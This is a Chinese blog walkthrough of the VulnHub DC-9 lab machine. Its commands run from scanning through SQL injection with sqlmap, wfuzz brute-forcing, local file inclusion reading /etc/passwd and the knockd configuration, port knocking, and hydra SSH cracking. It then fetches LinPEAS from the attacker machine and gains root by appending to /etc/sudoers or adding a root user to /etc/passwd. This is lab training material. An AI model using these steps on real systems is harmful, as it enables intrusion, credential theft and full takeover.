【vulnhub】靶机- [DC系列]DC9（附靶机)）

心已赠人 2022-10-25 05:53 178阅读 0赞

**主机信息**

Kali：192.168.56.113

DC9：192.168.56.112

**实验过程**

先进行主机探测，查找靶机的IP地址:

> arp-scan --interface eth1 192.168.56.1/24

![图片][bd592029569774a428ad0a6c82b2272d.png]

用nmap对主机进行排查确定，DC9的IP地址为192.168.56.112

可以看到DC开放了80端口以及22端口(被过滤)

> nmap -sC -sV -oA dc-9 192.168.56.112

![图片][4c31955ff4ad0eb5732a954701ae1fc5.png]

所以，首先从80端口入手，每个网页都点开看看。看到这个搜索页面感觉可以尝试下SQL注入

![图片][fbe2dd110c239a37feb1a743f818a97e.png]

这里我们用Burp进行尝试，发现的确存在注入点

![图片][2dc6f47b91cd45059b2b49920048aaac.png]

把请求信息导出为dc9.sqlmap,接下来用SQLmap进行遍历

> python3 sqlmap.py -r C:\\Users\\DFZ\\Desktop\\dc9.sqlmap

![图片][9ea857573b177b042c68c5030e6b135d.png]

然后接下来用sqlmap导出数据

python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap ‐‐dbs
    python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap -D users --tables
    python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap -D users -T UserDetails --columns
    python3 sqlmap.py -r C:\Users\DFZ\Desktop\dc9.sqlmap ‐D users ‐T UserDetails ‐C username,password --dump

![图片][6db02d458cf51dcf1375e97b023380c1.png]

> python3 sqlmap.py ‐r C:\\Users\\DFZ\\Desktop\\dc9.sqlmap ‐D Staff ‐T Users ‐C Username,Password ‐‐dump

![图片][134298999e6913c6b8348e85f34c569c.png]

这里SQLmap直接帮我得到admin的密码明文(transorbital1)

管理员账号：admin管理员密码：transorbital1

附在线破解网站：https://hashes.com/en/decrypt/hash

我们将所有的账号，密码进行整理，分别整理到usename，password(这里需要注意的是，只要管理员的密码是需要解密的，其他用户的密码是明文)

![图片][82171eb9ae834d88a6c39c1c9047ffcd.png]

用wfuzz进行批量登录查看页面反应，只有管理员的账号是302(ps: 意料之中)

> \-c:带颜色输出  -d:post参数  -z:payload -m:模式  zip迭代  字典和占位符一一对应进行遍历
> 
> wfuzz -c -z file,username -z file,password -m zip -d 'username=FUZZ&password=FUZ2Z' http://192.168.56.112/manage.php

![图片][f83f179aa6192380ac83f93fd644f2d3.png]

然后我们用管理账号进行登录

![图片][d7fd5677411ffe97bfc4cd6b93c1038a.png]

可以看到页面下面出现File does not exist的提示，感觉很有可能就是LFI(本地文件包含)

但是此时我们并不知道参数是多少，这里同样用wfuzz尝试进行遍历(注意这里用把登录之后的cookies也要写上，否则网页会提示你要登录)

查看cookies的话可以浏览器直接查看，也可以让wfuzz把请求发给burp进行查看

#-p:添加代理
    wfuzz -p 127.0.0.1:8080:HTTP

字典地址:http://github.com/danielmiessler/SecLists

-b:cookies -hw:隐藏指定字节数的结果  -w字典文件
    wfuzz --hw 100 -b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w 
    /usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt 
    http://192.168.56.112/manage.php?FUZZ=index.php
    
    wfuzz ‐‐hw 100 ‐b 'PHPSESSID=oshc5jht0a15efnue128kdnn9n' ‐c ‐w 
    /usr/share/SecLists/Discovery/Web‐Content/burp‐parameter‐names.txt 
    http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/passwd

![图片][211db8c674819dac9fe7dda1dc664121.png]

这里我们就找到参数file

![图片][a5034e662623bf06411a0aed9e2272e8.png]

然后我们通过\*\*/proc/sched\_debug\*\* 来查看Linux系统中任务的调度情况

> http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../../../proc/sched\_debug

![图片][63c5201872c1f397a319019a1d261ea9.png]

整理查询发现靶机上运行这knockd

关于knockd的介绍：https://blog.csdn.net/nzjdsds/article/details/112476120

![图片][2e2b44979776cc8556ddad8050fed66c.png]

那么我们读取下knocked的配置文件:

> http://192.168.56.112/manage.php?FUZZ=../../../../../../../../../etc/knockd.conf

![图片][27e61bcefd2a657fe7c2b16118695c63.png]

options]
        UseSyslog
    [openSSH]
        sequence = 7469,8475,9842
        seq_timeout = 25
        command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
        tcpflags = syn
    [closeSSH]
        sequence = 9842,8475,7469
        seq_timeout = 25
        command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
        tcpflags = syn

这里提供2种敲击方法:nc、nmap

>     for x in 7469 8475 9842;do nmap ‐Pn ‐‐max‐retries 0 ‐p $x 192.168.56.112;done for x in 7469 8475 9842 22 ;do nc 192.168.56.112 $x;done

![图片][d8ebeef9a7b72a75314625007ab9122e.png]

此时SSH就可以正常连接，接下来我们用hydra来进行爆破，用户名和密码就是我们先前SQL注入获得的

> hydra -L username -P password ssh://192.168.56.112

![图片][4201cd09557f4fecc27087f4db62b928.png]

>  
> 
>     [22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee [22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd [22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!

然后我们对这几个账号都尝试进行登录

> ssh janitor@192.168.56.112

![图片][71eb2fcf9b44a33210217ed2c59b1f18.png]

只有janitor的家目录存在一个名为.secrets-for-putin的文件夹，并且在其中又得到一些密码

![图片][3f8facab493a9367b1aa830041085fef.png]

我们把这些密码加入到password文件中

同时我们在janitor使用LinPEAS来探测下可利用的点

下载地址:[https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite][https_github.com_carlospolop_privilege-escalation-awesome-scripts-suite]

现在Kali上开启HTTP服务

> python3 -m http.server 80

![图片][64540b50485c2046f81db0e5449b02e3.png]

然后在靶机上进行下载

> wget http://192.168.56.114/Linpeas.sh

![图片][c9bb46e88d5f75ca69739d288339f0d7.png]

然后运行之后，感觉并没有什么特别的点

> bash linpeas.sh

![图片][b4469430599841cd2434792f2b9ed289.png]

再使用hydra使用刚刚更新过的password文件进行SSH爆破，可以看到多了一个fredf用户

![图片][7d9d527ed78275a763e8047046c70fc8.png]

[22][ssh] host: 192.168.56.112 login: fredf password: B4‐Tru3‐001 [22][ssh] host: 192.168.56.112 login: janitor password: Ilovepeepee [22][ssh] host: 192.168.56.112 login: joeyt password: Passw0rd [22][ssh] host: 192.168.56.112 login: chandlerb password: UrAG0D!

`然后登陆到fredf账号，查看下fredf的sudo权限，可以看到fredf可以不用密码以root权限执行 /opt/devstuff/dist/test/test的文件`

sudo ‐l

![图片][cf2553cd049d1663a41254c896df969f.png]

/opt/devstuff/dist/test/test是一个可执行文件，执行后出现下面的提示，应该是一个python脚本转化为的可执行的文件

![图片][2082b770d92f4b6f1b01eb1950d1a61d.png]

可以在上级目录找到同名的 test.py 然后cat下内容，应该是由这个文件编译过来的

脚本的作用就是将第一个文件的内容附加到另一个文件里面去

![图片][38469b69fa57684ca45bd999e4e5a337.png]

这样提权就变得非常简单，这里提供2个提权的思路

提权思路1：往/etc/sudoers里面添加内容，让用户可以以root的权限去执行命令

创建/dev/shm/sudoerAdd,内容如下:

> joeyt ALL=(ALL) ALL

然后执行

> sudo /opt/devstuff/dist/test/test /dev/shm/sudoerAdd /etc/sudoers

![图片][e4608db2b7734a09b23e49e247d8f5eb.png]

然后登陆joeyt，然后切换成root身份，get flag

提权思路2：添加一个新的用户到/etc/passwd，然后新添加的用户登陆

这里用Openssl来对密码进行加密,在进行编辑输入到/tmp/new-passwd

openssl passwd ‐1 ‐salt 123456 dfz

dfz:$1$123456$1VU0YpuL7WOQvLLyYTbbv1:0:0:root:/root:/bin/bash

![图片][257cf10104ea3f95f9a8b3dcd807972f.png]

然后把/tmp/new-passwd写入到/etc/passwd

sudo /opt/devstuff/dist/test/test /tmp/new‐passwd /etc/passwd

![图片][be75ae66db43dafe3d84cf8b79943b62.png]

**靶机下载地址：http://www.five86.com/downloads/DC-9.zip**

[bd592029569774a428ad0a6c82b2272d.png]: /images/20221024/851f73fc60fb4dc79fff93126e0576b3.png
[4c31955ff4ad0eb5732a954701ae1fc5.png]: /images/20221024/58d72a5a1df94ca7b287bb44d877fff2.png
[fbe2dd110c239a37feb1a743f818a97e.png]: /images/20221024/1631a85d43a246858580e33df472cb50.png
[2dc6f47b91cd45059b2b49920048aaac.png]: /images/20221024/0cfbc7e55d294f4f918c1dd3f8a21ec5.png
[9ea857573b177b042c68c5030e6b135d.png]: /images/20221024/1312d9058b234f069d3242a00ec7d50a.png
[6db02d458cf51dcf1375e97b023380c1.png]: /images/20221024/4cfa3ff61f7a4ab49d11365cc687e59f.png
[134298999e6913c6b8348e85f34c569c.png]: /images/20221024/b3312031a8e642a3b346e992b3feb986.png
[82171eb9ae834d88a6c39c1c9047ffcd.png]: /images/20221024/cb9f1bf5f1e84657a91bed406faaefd4.png
[f83f179aa6192380ac83f93fd644f2d3.png]: /images/20221024/41deaaa951dd403dbe2ab763de342c01.png
[d7fd5677411ffe97bfc4cd6b93c1038a.png]: /images/20221024/769f3a72fedf4b7fbbb41fd4c8e055ed.png
[211db8c674819dac9fe7dda1dc664121.png]: /images/20221024/b616fd581edb49dcb5287a4890cc0b89.png
[a5034e662623bf06411a0aed9e2272e8.png]: /images/20221024/a3ba7199c3ff439ea297878c805b68b6.png
[63c5201872c1f397a319019a1d261ea9.png]: /images/20221024/7bdb5ecacc274d2cb7a8ff2407513b36.png
[2e2b44979776cc8556ddad8050fed66c.png]: /images/20221024/c6b6729ffc894b71acb6f773da59e924.png
[27e61bcefd2a657fe7c2b16118695c63.png]: /images/20221024/b1c1669f99cd465b839134a35397b4be.png
[d8ebeef9a7b72a75314625007ab9122e.png]: /images/20221024/1aa33911c6d2483592dee5721fb47490.png
[4201cd09557f4fecc27087f4db62b928.png]: /images/20221024/0d7e3f44c29146afab4c486b337be897.png
[71eb2fcf9b44a33210217ed2c59b1f18.png]: /images/20221024/cbfffbe04ae6436490228bdcb729a807.png
[3f8facab493a9367b1aa830041085fef.png]: /images/20221024/7a8b6dc9494a46ef9d930d88e6063561.png
[https_github.com_carlospolop_privilege-escalation-awesome-scripts-suite]: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
[64540b50485c2046f81db0e5449b02e3.png]: /images/20221024/48db8d07d0c843e8bdf9426b757572b8.png
[c9bb46e88d5f75ca69739d288339f0d7.png]: /images/20221024/3b06afaf5b424268ba9650daa32d5739.png
[b4469430599841cd2434792f2b9ed289.png]: /images/20221024/be8f359243c84175b1590329fc506f67.png
[7d9d527ed78275a763e8047046c70fc8.png]: /images/20221024/ceac7bbf0b704d8db0963e8ef0a148c6.png
[cf2553cd049d1663a41254c896df969f.png]: /images/20221024/93662555ed31473fb4bf779c83808b6d.png
[2082b770d92f4b6f1b01eb1950d1a61d.png]: /images/20221024/6a9539c0b6f7427b9fdf3cf987cd5121.png
[38469b69fa57684ca45bd999e4e5a337.png]: /images/20221024/b500fbda03ae4934ac5d893070331671.png
[e4608db2b7734a09b23e49e247d8f5eb.png]: /images/20221024/fbd2620f61a24f09b606bbd035ae77c2.png
[257cf10104ea3f95f9a8b3dcd807972f.png]: /images/20221024/9e9b57329925490d886d8a3cf18030e4.png
[be75ae66db43dafe3d84cf8b79943b62.png]: /images/20221024/d3f5c13ccb8e45ec9bcca55c565f658b.png